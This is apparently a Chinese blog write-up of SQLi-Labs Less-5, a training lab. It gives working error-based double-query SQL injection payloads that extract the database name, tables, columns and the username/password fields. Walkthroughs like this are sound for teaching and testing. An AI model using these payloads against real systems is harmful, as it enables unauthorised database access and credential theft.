zoukankan      html  css  js  c++  java
  • SQLI DUMB SERIES-5

    less5

    (1)输入单引号,回显错误,说明存在注入点。输入的Id被一对单引号所包围,可以闭合单引号

    (2)输入正常时:?id=1

    说明没有显示位,因此不能使用联合查询了;可以使用报错注入,有两种方式

    (3)双注入查询

    参考资料:http://www.2cto.com/article/201303/192718.html

    简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

     1)爆数据库名

    ?id=-1' union select count(*),count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
    

     

    可知表明数据库名为"security"

    2)将上述中的database(),改为version(),可得PHP版本

    3)同样的方法可以爆用户名

     4)爆表名

    ?id=-1' union select count(*),count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database()limit 2,1),floor(rand()*2)) as a from information_schema.tables group by a--+
    

     

    改变Limit后面的数字可以爆出所有表名,例如

    5)爆列名(以user表为例)

    ?id=-1' union select count(*),count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
    

     

    改变Limit后面的数字可以爆出所有列名,例如

    6)爆字段

    ?id=-1' union select count(*),count(*),concat((select concat_ws('[',password,username) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+
    

     

    Password与username之间用'['隔开,同样改变Limit后面的数字可以爆出user表的所有字段。

    由于无法解释的神圣旨意,我们徒然地到处找你;你就是孤独,你就是神秘,比恒河或者日落还要遥远。。。。。。
  • 相关阅读:
    Vs 开发时无法断点问题
    VS启动调试速度异常的缓慢问题
    vs2017 调试时 浏览器关闭不想中断调试
    聚簇索引和非聚簇索引
    java实现阿里云短信服务发送验证码
    mysql定时器
    token,加密,签名
    Redis更新缓存同步数据库的理解
    Token
    解决哈希冲突的方法
  • 原文地址:https://www.cnblogs.com/momoli/p/10463358.html
Copyright © 2011-2022 走看看